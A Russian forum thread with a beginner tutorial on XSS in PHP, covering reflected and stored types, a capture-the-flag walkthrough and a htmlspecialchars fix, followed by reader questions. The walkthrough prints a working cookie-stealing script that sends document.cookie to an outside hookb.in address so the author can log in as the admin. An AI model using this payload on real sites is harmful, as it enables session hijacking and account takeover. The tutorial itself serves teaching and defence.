• Codeby web-security - Курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фазинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое. Подробнее ...

  • Мобильный клиент нашего форума для Android гаджетов доступен в Google Play Market по этой ссылке. Клиент можно скачать с нашего форума по этой ссылке. Последняя версия МК в нашем телеграм канале вот здесь

Статья [1] - Безопасный PHP. Защита от XSS атак.

r0hack

DAG
Gold Team
29.09.2017
441
739
#1
Всем Салам. Сегодня уже 2 часть из цикла статей безопасный PHP. И эта статья обещает быть информативной, особенно для новичков.

И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.

[0] – XSS. Что такое?

Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. А знаете почему не CSS? Правильно, потому что эта аббревиатура занята каскадными стилями.

Вообще XSS делится на 2 типа:
  • Reflected (непостоянные). Давайте разберем этот тип подробнее. Этот тип XSS самый популярный, да и самый часто встречающийся среди всех инъекций. Тип атаки довольно простой, срабатывает и отсутствии фильтрации входных данных, чаще всего через какие-то формы на сайте. Например,
    Код:
    site.ru/search.php?q=<script>alert(‘r0hack’)</script>
    получается, если эта поступающая строка не будет фильтроваться на стороне сервака, то получаем сообщение «r0hack». Ну и что скажете вы, ничего же страшного. А нет, ведь таким образом мы можем украсть куки авторизации пользователя. Давайте для примера разберем 1 таск с рут ми. Хотя ее можно отнести к обоим типам атаки, но в этом примере, можно увидеть, как мы можем стырить куки пользователя, ну и как работают stored тип.

  • Stored (хранимые). В этом случае, мы можем загрузить свой код на сервер и каждый раз при открытии страницы с данным кодом, она запускается и наносит сокрушительный удар, например, как я говорил выше, ворует куки и можем выдать себя за другого пользователя. А теперь давайте разберем таск, про который я писал выше.
Разбирать будем этот таск:
Для просмотра контента необходимо: Войти или зарегистрироваться

И как видим в задании сказано украсть куки администратора и зайти с их помощью.
И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт
Для просмотра контента необходимо: Войти или зарегистрироваться
где она формирует ссылку, и при переходе по которому крадет данные заголовков, куки и все такое. Давайте так и сделаем, и замаскируем наше сообщение под фотографию и отправим.
1.jpg
Здесь формируем, такой скрипт для отправки:
Код:
<script>document.write("<img src='https://hookb.in/Z8a74azD?cook="+document.cookie+"'></img>")</script>
2.jpg

После чего отправляем, и когда админом страница будет открыта, мы получаем куки:
3.jpg

И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.

5.jpg 4.jpg

На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.

[1] – Эксплуатация XSS уязвимостей в PHP

Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.
У нас имеется такой кусок кода, который не экранирует исходящие данные:
PHP:
$query = $_GET['query'] ?? 0;
echo 'Найдено: '. $query;
И как вы видите, в данном случае наш скрипт срабатывает.
6.jpg

[2] – Как обезопасить PHP от XSS

И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:
PHP:
$query = $_GET['query'] ?? 0;
$query = htmlspecialchars($query, ENT_QUOTES);
echo 'Найдено: '. $query;
7.jpg

И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.

Ну для примера, еще какой-нибудь немецкий сайт:
8.jpg

На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.
 
Последнее редактирование модератором:

r0hack

DAG
Gold Team
29.09.2017
441
739
#3
XSS - тема намного обширнее, чем вы думаете...
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
 
Последнее редактирование:

rink0

Well-known member
28.11.2017
61
50
#4
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
аааа цвета в командах для тёмной темы это ад
синий на чёрном очень плохо смотрится
 

quasar

New member
05.01.2018
1
0
#6
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?

Вот так пойдет?
function clearString($str){
return trim(htmlspecialchars(strip_tags($str)));
}
 
Последнее редактирование:

r0hack

DAG
Gold Team
29.09.2017
441
739
#7
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?
Они предназначены для разных целей, вместе их использовать не имеет никакого смысла. Например, если мне нужны теги, а используя стрипс, они тупо удаляются...
Прочитайте подробнее, внимательнее и поймете:
Для просмотра контента необходимо: Войти или зарегистрироваться

Для просмотра контента необходимо: Войти или зарегистрироваться
 
Симпатии: Понравилось quasar
01.03.2018
16
0
#8
Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
 

r0hack

DAG
Gold Team
29.09.2017
441
739
#9
Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
Да, вы правы. ~90% успеха - это JS.
 
Вверх Снизу